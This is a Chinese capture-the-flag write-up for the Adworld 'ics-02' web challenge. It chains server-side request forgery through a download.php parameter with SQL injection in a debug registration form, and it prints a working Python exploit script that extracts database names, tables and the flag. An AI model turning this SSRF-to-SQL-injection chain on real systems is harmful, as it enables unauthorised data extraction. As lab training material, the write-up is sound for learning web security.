攻防世界web高手进阶之ics-02
进入文档中心页面,点击paper可以下载pdf文件,请求download.php,参数为dl
pdf文件内容为ssrf,可能为线索
接着扫一遍目录,发现了/secret目录
访问一下试试
分别访问
看到私密页面1,查看元素,填完表提交,到达私密页面2,元素有一个变量s,s=3时返回页面2
发现secret_debug.php无法访问
到这里就无头绪了,wp大法,利用download.php传参进行ssrf攻击
虽然只能下载pdf文件,但是下载一个不存在的文件的时候readfile函数还是会执行的。
根据secret参数带入secret_debug构造请求
http://111.200.241.244:64242/secret/secret_debug.php?s=3&txtfirst_name=a&txtmiddle_name=b&txtlast_name=c&txtname_suffix=d&txtdob=01/05/2000&txtdl_nmbr=1234&txtretypedl=1234
发现.pdf加在了s=3后面,&符号导致,所以进行url编码,服务器再解码,.pdf就会加到所有参数最后
还是有问题,.pdf加在最后一个参数后面会影响其值,所以在参数后面再加一个&,相当于隔断了pdf
注册成功。。注册的参数可以进行sql注入,大神的脚本:
import requests
import random
import urllib
url = ' http://111.200.241.244:64242//download.php'
# subquery = "database()"
# ssrfw
# subquery = "select group_concat(table_name) from information_schema.tables where table_schema='ssrfw'"
# etcYssrf,users
# subquery = "select group_concat(column_name) from information_schema.columns where table_name='cetcYssrf'"
# secretName,value
# subquery = "select secretName from cetcYssrf LIMIT 1"
# secretname -> flag
subquery = "select value from cetcYssrf LIMIT 1"
# value -> flag{cpg9ssnu_OOOOe333eetc_2018}
id = random.randint(1, 10000000)
dl = ('http://127.0.0.1/secret/secret_debug.php?' +
urllib.parse.urlencode({
"s": "3",
"txtfirst_name": "A','b',("+subquery+"),'c'/*",
"txtmiddle_name": "B",
"txtLast_name": "C",
"txtname_suffix": "D.",
"txtdob": "*/,'01/10/2019",
"txtdl_nmbr": id,
"txtRetypeDL": id
}) + "&")
r = requests.get(url, params={"dl": dl})
print(r.text)
知识点:
1.ssrf
2.sql注入
结束语
莫忘少年凌云志 曾许天下第一流